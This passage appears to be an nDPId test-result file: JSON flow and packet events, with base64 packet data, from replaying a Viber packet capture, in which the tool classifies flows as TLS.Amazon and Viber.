StxtCwSQwDgYDVR0PAQH\/BAQDAgGGMBIGA1UdEwEB\/wQIMAYBAf8CAQAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMBsGA1UdIAQUMBIwBgYEVR0gADAIBgZngQwBAgIwTAYDVR0fBEUwQzBBoD+gPYY7aHR0cDovL2NybC5jb21vZG9jYS5jb20vQ09NT0RPUlNBQ2VydGlmaWNhdGlvbkF1dGhvcml0eS5jcmwwcQYIKwYBBQUHAQEEZTBjMDsGCCsGAQUFBzAChi9odHRwOi8vY3J0LmNvbW9kb2NhLmNvbS9DT01PRE9SU0FBZGRUcnVzdENBLmNydDAkBggrBgEFBQcwAYYYaHR0cDovL29jc3AuY29tb2RvY2EuY29tMA0GCSqGSIb3DQEBDAUAA4ICAQBpijZomh47ZQvgfM+mq3E7r2GkP+RkAUkQ0x2P4tXtZ9OeW5e9Qh4H+dC7bfcylVoiKWL4DJxZVic2oCISEfpH9FHJWXspSqVINXzFl2bgJyU7FXoydUqR+6ZrnuJT+g2ME\/sjuAsSLK7t2x1HkNXQk2l2kTgVNNcY6n68a1jeKjmQA0QESlbYaOX1fGl+nn1US9DYhqtnZhNXXokqF60trr1ADmbtiv9UtMEBy6ngR7oRYY+triNIKsYleYkcQQSVwBHqVyvWtJf6sekVYuxKcXf986Gc2vZrACnFMuf6TuqzKqcYlxxYp0I2X+wUz\/h7DvfdzIgVmppcyPEgx9GGcqEXm666\/myoMtEAdklz9z8nhzy2yS36qpCQyQo="} +02386{"flow_id":21,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":280,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":423471,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"MAdNo1+nAA6OMNv9CABFAAXc5kRAAOYGVaw2u1u2wKgAEQG7v5iCFANyaIOWYoAQAG5LvQAAAQEICiwGHmYAIYBRCZ\/JaR8HGam\/3rr4C4iCRBYQfwfAgCJff7ww3rrNB3lkVtj\/80+cMLtuHlFL5s29F8TFv8g\/jrEfika3BkNvYi3PUZ1FyorpE4vAx5G+W7b6N0qJ\/vCd2hMmIiwGkD6LE5igGdbd2kpIfz0PiZ0kcksOe0T\/1Da2g3YjWIsUbLhd92FtOXbt3RI9a4eIl5G+wEYCHnYc3bavXE\/1ANacTangnqKO\/LEWeVwh00WBmgw5bG0o1yXStxGQ0Pbeb170+qSLZndyL5uQQCxSEmD5\/7VwLomaeQmJgS3sXHhvgYfx\/FUABXgwggV0MIIEXKADAgECAhAnZu5W60nzjqvXcKL8hN4iMA0GCSqGSIb3DQEBDAUAMG8xCzAJBgNVBAYTAlNFMRQwEgYDVQQKEwtBZGRUcnVzdCBBQjEmMCQGA1UECxMdQWRkVHJ1c3QgRXh0ZXJuYWwgVFRQIE5ldHdvcmsxIjAgBgNVBAMTGUFkZFRydXN0IEV4dGVybmFsIENBIFJvb3QwHhcNMDAwNTMwMTA0ODM4WhcNMjAwNTMwMTA0ODM4WjCBhTELMAkGA1UEBhMCR0IxGzAZBgNVBAgTEkdyZWF0ZXIgTWFuY2hlc3RlcjEQMA4GA1UEBxMHU2FsZm9yZDEaMBgGA1UEChMRQ09NT0RPIENBIExpbWl0ZWQxKzApBgNVBAMTIkNPTU9ETyBSU0EgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCR6FSS0gpWsawNJN3Fz0RndJkrN6N9I3AAcbxT38T6KhKPS38QVr2fcHK3YX\/JSw8Xpz3jsARh7v8Rl8f0hj4K+j5c+ZPmNHrZFGvnnLOFoIJ6dq9xkNfs\/Q36nGz637CC9BR++b7Epi9Pf5l\/tfxnQ3K9DADWietrLNPtj5gcFKt+5eNu\/Nio5JIk2kNrYrhV\/erBvGy2i\/MOjZrkm2xpmfh4SDBF1a3hDTxFYPwyllEnvGfDyi62a+pGx8cgoLEfZd5ICLqkTqnyg0Y3hOvozIFIQ2dOciqbXL1MGyiKXCJ7tKuY2e7gUYPDCUZObT6Z+pUX2nwzV0E8jVHtC7ZcryxjGt9XyD+86V3Em69FmeKjWiS0uqlWPc9vqv9JWL7wqP\/0uK3pN\/u6uPQLOvnoQ0IeidiEyxPx2bvhiWC4jChWrBQdnArncevPDt09qZahSL0896+1DSJMwBGB7FY79tOi4lu3sgQiUpWAk2nojkxl8ZEDLXB0AuqLZxUpaVICu9ffUGpVRr+goyhhf3DQw6KqLCGqR84onAZFdr+CGCe01a60y1Dma\/RMhnEw6abfFobg2P9A3fvQQoh\/ozM6LlweQRGBY84YcWsr7KaKtzFcOmpH4MN5WdYgGq\/yapiqcrxXStJLnbsQ\/LBMQeXtHT1eKJ2czL+zUdqnR+WEUwIDAQABo4H0MIHxMB8GA1UdIwQYMBaAFK29mHo0tCb3+sQmVO8DveAky1QaMB0GA1UdDgQWBBS7r34CPfqm8TyEjq3uOJjs2TIy1DAOBgNVHQ8BAf8EBAMCAYYwDwYDVR0TAQH\/BAUwAwEB\/zARBgNVHSAECjAIMAYGBFUdIAAwRAYDVR0fBD0wOzA5oDegNYYzaHR0cDovL2NybC51c2VydHJ1c3QuY29tL0FkZFRydXN0RXh0ZXJuYWxDQVJvb3QuY3JsMDUGCCsGAQUFBwEBBCkwJzAlBggrBgEFBQcwAYYZaHR0cDovL29jc3AudXNlcnRydXN0LmNvbTANBgkqhkiG9w0BAQwFAAOCAQEAZL+D8V+ahdDNuKEpVw3oWvfR6T7ydgRu8VJwux48\/00NdGrMgYIl08OgKl1M9bqLoW3EVAl1x+MnDl2EeTdAE3f1tKwc0DurFxI="} +01144{"flow_id":21,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":281,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":423665,"pkt_caplen":595,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":595,"pkt_l4_len":561,"pkt":"MAdNo1+nAA6OMNv9CABFAAJF5kVAAOYGWUI2u1u2wKgAEQG7v5iCFAkaaIOWYoAYAG6aGQAAAQEICiwGHmYAIYBR1u80GH4r6XnTq1dFDK8o+tDb5VCViLvfhVdpfZLYUspzgb8c8+a4bmYRBbMelC1\/kZWSWfFMzqORcUx8Rww7Cxn2obFshj5cqsQugsv5B5a6SE2Q8pTIqXOi6wZ7I53eovNNVZ96YUWYGGjHXkBrI\/V5eu+MtWuLt29G9HvxPUsE2JOAWVrgQSQdso8VYFhH2+9uRv0V9dlfmrPb2LjkQLPNlzmuhbsdjrzch5vRpu\/xO28QOG8WAwMBTQwAAUkDABdBBKVu9sr1P5C47B3B5yMt4JTypSrWz38y1ZTzzcBnZrcdS3AnybivQLKBT39iG19IJXNCJ7UUZVHQl0O9PnwLZG0GAQEAjsjWA\/VmiKLUpWuwWQKg\/dDn4yuOgeWJ3MU143Z1VCH4E6tF8D2JsArJZOdg\/Y9XM024MGCZSQY9GiPkUG6RK6rnw\/RcCkZoVxlXCDHYUAjquNnabkJx2usDeTn6gn9zLE4PvDthFbnH9lJ7i65cRj\/XGiohiPFNFZKB6dEzhbAGDe6n7niP31dJzcnWch4PFGpQYw0Gs4pQaGcfeCvcRsCayLixX3CQPR268cboJfOy059NwRzJHcqXX9sr5Gu\/tRF86UFMWLa0VKh3oyQjopJ12GYCGikgTMS0ciGFR\/Z69VyGWYyaGXdYW0Fwi4Nc77rd5PAXXItX8YEc47ehNRYDAwAEDgAAAA=="} +01139{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":281,"source":"viber.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":9,"flow_first_seen":1527155671066,"flow_last_seen":1527155671423,"flow_tot_l4_data_len":5358,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":595,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"54.187.91.182","src_port":49048,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1.2","client_requested_server_name":"brahe.apptimize.com","server_names":"*.apptimize.com,apptimize.com","ja3":"d8c87b9bfde38897979e41242626c2f3","ja3s":"8d2a028aa94425f76ced7826b1f39039","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=GB, ST=Greater Manchester, L=Salford, O=COMODO CA Limited, CN=COMODO RSA Organization Validation Secure Server CA","issuerDN":"C=US, ST=CA, L=Mountain View, O=Apptimize, Inc, OU=PremiumSSL Wildcard, CN=*.apptimize.com","alpn":"http\/1.1","fingerprint":"BC:4C:8F:EC:8B:7B:85:BD:54:61:8B:C0:7B:E7:A2:69:0B:F2:49:E5"}} +00424{"flow_id":21,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":282,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":427051,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0FZJAAEAG0gfAqAARNrtbtr+YAbtog5ZighP9yoAQAsMVrQAAAQEICgAhgH0sBh5m"} +00424{"flow_id":21,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":283,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":427126,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0FZNAAEAG0gbAqAARNrtbtr+YAbtog5ZighQDcoAQAtoP7gAAAQEICgAhgH0sBh5m"} +00424{"flow_id":21,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":284,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":427173,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0FZRAAEAG0gXAqAARNrtbtr+YAbtog5ZighQJGoAQAvEKLwAAAQEICgAhgH0sBh5m"} +00424{"flow_id":21,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":285,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":427218,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0FZVAAEAG0gTAqAARNrtbtr+YAbtog5ZighQLK4AQAwcICAAAAQEICgAhgH0sBh5m"} +00596{"flow_id":21,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":286,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":475333,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"AA6OMNv9MAdNo1+nCABFAACyFZZAAEAG0YXAqAARNrtbtr+YAbtog5ZighQLK4AYAwfqwwAAAQEICgAhgIksBh5mFgMDAEYQAABCQQTcGxvSa7fqShzAZqWQU+JXWPcMP8X17XOt7phjFwOAma7AFQwW57V32iZB0fjSX0hyPGvCz36n4G8KaXzAKk3kFAMDAAEBFgMDACgAAAAAAAAAAJmGgFvW2s8Fg4KovsqubSJQ2ImTZD\/ss5CD+euQ6kH7"} +02392{"flow_id":21,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":287,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":479932,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AA6OMNv9MAdNo1+nCABFAAXcFZdAAEAGzFrAqAARNrtbtr+YAbtog5bgghQLK4AQAwey\/gAAAQEICgAhgIosBh5mFwMDBk4AAAAAAAAAASbRyNvGrwmkwPcIw0PgccuS2CjPNrZt0ggIm4m2ISdjGFaHymWxR4PwqeUBeZvqW9JiXada0HZaZN8wLTk6ClX+0wWhW5XDBpXCrmiYZcRTlGrYnoR0uB+3Z+rSRtlTIljd1YiK0DOoSx\/1N0lXTOvftoHPMLEJuYr5eyJdH+QozbZzRugj2IOIVem20c1XtS1OudB6tlSMXxHuRj6lchdqxbTapokfssR+5PN80mrRGcs4Ymmh42vO+p1WMdezRfi4UwAboNUR61Tta1FmTWtsBSsZvDEzGyZAQbbuHg68AjMY3l+Ou5ODCbivvwarcb1bpEftFCl78VuBh5xxRPTRx+u0o7bHtYBfrUp+fzPknkEtxoiRAiJ8QrgHEW5ZJ2bPSLv05RvQQOo2OsGn2OVBChhnSZ8Vq4FVbo6QewyIrfDRWeT55RygO65Ck0Wqlg\/\/k4k7roia5tF3cxNjwuFsTjg58vUTExcv81zWMHdpGwLEK74P19Fd7\/rRdN5eT9QGpp+5i6yxoHRqN2zty9wYS2942YUN61dD27uCbe7HZs3bmwC3Guh\/UHRrjNJLLHFLMxFpBxNd++FI0DEBjfAU6hIu9win\/rRCkm0EyxfwsFgMRC9Fl0fxiSrLGEaqGDNVXA2aky473fXJy6LEIjk3Hkv5RcoR9kg08jsVqjxo84OCZvF4szMakX1lKJVtZIzvxzAVUK6Fkwj8BTp2KMGP92FRRbfMHOQ62QYgV\/\/I1zDys+zKvT+GTOGJkSRhP10y7UedduF6N7tm4uVUBO\/AOpspJZI70FEO\/FCRFThqJV1rjjK+tznoUw5zNVmlvBQZoNywI8ZJtgGbQyjVlb9s0ZVyLyU8rS9pil4RhH8jMCS0OiVn7fCwiO1KVulI4rVHKq8l8gz1PBkURtGAoYVrWmszUyqmbW3Ls4GT5Z\/My6+eA0s8\/t+TjMQXD49iRgnhAvE3gHmyX7YH1RjwzgcrYziYvRaudM936M1rFBN6Sc4Agiv3E+EL8opvKez1YuAHgRsq+nXvPVZN0RIM7hVO2fI5PZRG4wSsiJqJ9xrLJouuZkM8eDuZrzsGD7vA3xfm7nro4RWBkO8eLcm8jPRqi5pzBG86o3WP10hW6k+Y+U\/8Nn7+yXXQjTuX7rj9ybnv950FmaP5XlSRshpR3WyKWUP6jGWRpwaD090ne7pT4DnnO3eiQMQUciN6urtHM3yUsvnr5YWTbjjU9wEefg+fbDjtLrL0k+7OhTKPtMSym7aa7VQQlIEwUSYPWGHB1+Z\/VKX2rS2Q8LeR35hRTYlRKYd0aIv+3ibk3xPQe9XKPEX5xHEYBWA5fLDJxuLRrxGrh0JauI5fHusN\/XcHZb3ZSLLzE9eJg\/i8PZcHXFQEqwuwMGKftCdmswjpFevz90DSgclgMxp5QeaxBr0\/OWJ7C+wlWKRYK68wpdWOAle+IofHsFsIIAprXNfTJ+RSrPEOR4pgV4V15VVQyJi\/lv0qmiTjpsZs57S19NNOInjt\/\/xFIVktaMRfFoX+prLxaiwiJVA1azLXY5VlxInWzZO3Lb9hCzLq44qz6GGdG\/Y+o3YuC0aV63k\/d7qBMp04padOE2NNTqDA9RQlBAjZAKubrzwptoCMLrTqAoAY02mdc4o5QJNdLqLBHFtT7z46WoMmjfMQOZm\/Xjk9M1InU1O3N5UqfMZ2a64ABcJ1fA\/BuqZE6dtYaPLBwjWllRwmgn2UG0pypFC9UFYl9WZhaq\/\/eqeBo7fyehFmuRHI4AM5UCfWnLtOeqwBfq7OPpAyuhWjmHPpyGY2YPZBDaJF18xmAE2\/UISldGjVvvtObL3+RHGCnUhQDfieWXINX6\/y16CJdIegVqmqGuDD\/LFXNm47j7SWJrWm4ydsZaT+8ilyQhnhOezrE37deAk="} +00419{"flow_id":19,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":288,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":644405,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AA6OMNv9MAdNo1+nCABFiAAwfSxAAEAR5WbAqAAREskEILhDHzEAHHCF7fYJAJ49kpFjAQAArBk1jI9k5Ec="} +00742{"flow_id":19,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":291,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":659609,"pkt_caplen":299,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":299,"pkt_l4_len":265,"pkt":"AA6OMNv9MAdNo1+nCABFiAEdfS5AAEAR5HfAqAAREskEILhDHzEBCQYY7fYBAAUArBk1jI9k5EcHridUEQCowEO4MgAAAEMBABADAJ89kpFjAQAAAAAAACXfTU7hzTcbXJq8JtnTC0sBuzmzAAAAAAAAAAADAAEAZgIAZwABeAAAAAAAAIAAvcYFlBohustZk1e\/8OyZiSqP86k39WGwDkG7f\/rMnT2tcfHi3zlsEfu0kKTP5bAY2qxB7\/oc6uBQ0Wmie0yDB\/sjEZJqAiu07NiPOdDNIZcvf3wjsntfvk0xrO5q1r7xDfBb+Y9pocMWBjGj961iEDkPirIeUHtGjj2ClOUquYUAAAAAAAAAAEcFAAA4AAAAEABBbmRyb2lkLDguOS4wLjIAAAA="} +00439{"flow_id":19,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":292,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":677092,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"MAdNo1+nAA6OMNv9CABFAAA+f59AACsR+G0SyQQgwKgAER8xuEMAKmLm7fYLAJ49kpFjAQAAa0KSkWMBAAAAAAAAAAAAAAAAAAAAAA=="} +00497{"flow_id":19,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":294,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155671,"pkt_ts_usec":692394,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"MAdNo1+nAA6OMNv9CABFAABof6hAACsR+DoSyQQgwKgAER8xuEMAVHXz7fYMAAMArBk1jI9k5EcyQ3xeQ7ifPZKRYwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADIAAAAAAAAAAAAAAAAAAAAAA=="} +00744{"flow_id":19,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":304,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155672,"pkt_ts_usec":175666,"pkt_caplen":299,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":299,"pkt_l4_len":265,"pkt":"AA6OMNv9MAdNo1+nCABFiAEdfUdAAEAR5F7AqAAREskEILhDHzEBCYGY7fYBAAUArBk1jI9k5EcHridUEQCowEO4MgAAAEMBABAEAKU\/kpFjAQAAAAAAACXfTU7hzTcbXJq8JtnTC0sBuzmzAAAAAAAAAAADAAEAZgIAZwABeAAAAAAAAIAAvcYFlBohustZk1e\/8OyZiSqP86k39WGwDkG7f\/rMnT2tcfHi3zlsEfu0kKTP5bAY2qxB7\/oc6uBQ0Wmie0yDB8bWfICPI2NeRSyaVBbpVL4+XrSmw6rvQoIcurBTv+tPZM1+jRM2dDI\/ertoau9dK3ag8Zl0R+zS1PC3wOdlq4EAAAAAAAAAAEcFAAA4AAAAEABBbmRyb2lkLDguOS4wLjIAAAA="} +00498{"flow_id":19,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":305,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155672,"pkt_ts_usec":208098,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"MAdNo1+nAA6OMNv9CABFAABogL5AACsR9yQSyQQgwKgAER8xuEMAVG7x7fYMAAQArBk1jI9k5EcyQ3xeQ7ilP5KRYwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADIAAAAAAAAAAAAAAAAAAAAAA=="} +00420{"flow_id":19,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":306,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155672,"pkt_ts_usec":653320,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"AA6OMNv9MAdNo1+nCABFiAAwfWhAAEAR5SrAqAAREskEILhDHzEAHIWB7fYJAIlBkpFjAQAArBk1jI9k5Ec="} +00440{"flow_id":19,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":307,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155672,"pkt_ts_usec":685724,"pkt_caplen":76,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":76,"pkt_l4_len":42,"pkt":"MAdNo1+nAA6OMNv9CABFAAA+gdRAACsR9jgSyQQgwKgAER8xuEMAKo7e7fYLAIlBkpFjAQAAVEaSkWMBAAAAAAAAAAAAAAAAAAAAAA=="} +00743{"flow_id":19,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":308,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155672,"pkt_ts_usec":690110,"pkt_caplen":299,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":299,"pkt_l4_len":265,"pkt":"AA6OMNv9MAdNo1+nCABFiAEdfXFAAEAR5DTAqAAREskEILhDHzEBCUGX7fYBAAUArBk1jI9k5EcHridUEQCowEO4MgAAAEMBABAFAKhBkpFjAQAAAAAAACXfTU7hzTcbXJq8JtnTC0sBuzmzAAAAAAAAAAADAAEAZgIAZwABeAAAAAAAAIAAvcYFlBohustZk1e\/8OyZiSqP86k39WGwDkG7f\/rMnT2tcfHi3zlsEfu0kKTP5bAY2qxB7\/oc6uBQ0Wmie0yDB8m\/QNNih7W1BF6xjsK4MyfFYly16J29kYRqJQ9pOX7GIJU4rN0Z4OOtVE70qU69IKbPWj7oKS0Q1FU07J5bWIAAAAAAAAAAAEcFAAA4AAAAEABBbmRyb2lkLDguOS4wLjIAAAA="} +00498{"flow_id":19,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":309,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155672,"pkt_ts_usec":722510,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"MAdNo1+nAA6OMNv9CABFAABogeVAACsR9f0SyQQgwKgAER8xuEMAVGrv7fYMAAUArBk1jI9k5EcyQ3xeQ7ioQZKRYwEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADIAAAAAAAAAAAAAAAAAAAAAA=="} +00423{"flow_id":18,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":344,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155677,"pkt_ts_usec":865795,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0WoJAAEAGCKDAqAAREskEILFwAbuQXSU4zKxZYoARAq21qAAAAQEICgAhhscAWtCx"} +00423{"flow_id":18,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":345,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155677,"pkt_ts_usec":897422,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"MAdNo1+nAA6OMNv9CABFAAA0iblAACsG7mgSyQQgwKgAEQG7sXDMrFlikF0lOYARANKbQAAAAQEICgBa7PMAIYbH"} +00424{"flow_id":18,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":346,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155677,"pkt_ts_usec":899869,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"AA6OMNv9MAdNo1+nCABFAAA0WoNAAEAGCJ\/AqAAREskEILFwAbuQXSU5zKxZY4AQAq2ZXAAAAQEICgAhhtAAWuzz"} +00470{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":357,"source":"viber.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1527155679410,"flow_last_seen":0,"flow_tot_l4_data_len":40,"flow_min_l4_data_len":40,"flow_max_l4_data_len":40,"flow_avg_l4_data_len":40,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"18.201.4.3","src_port":33744,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":357,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155679,"pkt_ts_usec":410348,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AA6OMNv9MAdNo1+nCABFAAA8V2ZAAEAGC9HAqAAREskEA4PQAbvgGt8vAAAAAKAC\/\/+jOgAAAgQFtAQCCAoAIYhJAAAAAAEDAwc="} +00475{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":358,"source":"viber.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1527155679411,"flow_last_seen":0,"flow_tot_l4_data_len":265,"flow_min_l4_data_len":265,"flow_max_l4_data_len":265,"flow_avg_l4_data_len":265,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"18.201.4.3","src_port":38190,"dst_port":7985,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00742{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":358,"source":"viber.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1527155679,"pkt_ts_usec":411371,"pkt_caplen":299,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":299,"pkt_l4_len":265,"pkt":"AA6OMNv9MAdNo1+nCABFiAEdf+NAAEAR4d\/AqAAREskEA5UuHzEBCY\/LBbgBAAUANRj1GJhk5EcHridUEQCowC6VMgAAAEMBABABAPdbkpFjAQAAAAAAACXfTU7hzTcbXJq8JtnTC0sBuzmzAAAAAAAAAAADAAEAZgIAZwABeAAAAAAAAIAAGwkdkSv31AWZshbdezAt4SmQgEbXQ8gpESKVZEPm+yytcfHi3zlsEfu0kKTP5bAY2qxB7\/oc6uBQ0Wmie0yDB6SNCb6pEPHTLEjikG3nU2iKPCm3mBiaaSkNyyVaokw3bFWKZLztddqHjISoa\/0AQVn24h8Bz7MKBuS1UkASdYsAAAAAAAAAAEcFAAA4AAAAEABBbmRyb2lkLDguOS4wLjIAAAA="} +00505{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":358,"source":"viber.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1527155679411,"flow_last_seen":0,"flow_tot_l4_data_len":265,"flow_min_l4_data_len":265,"flow_max_l4_data_len":265,"flow_avg_l4_data_len":265,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.0.17","dst_ip":"18.201.4.3","src_port":38190,"dst_port":7985,"l4_proto":"udp","ndpi": {"proto":"Viber","breed":"Acceptable","category":"VoIP"}} 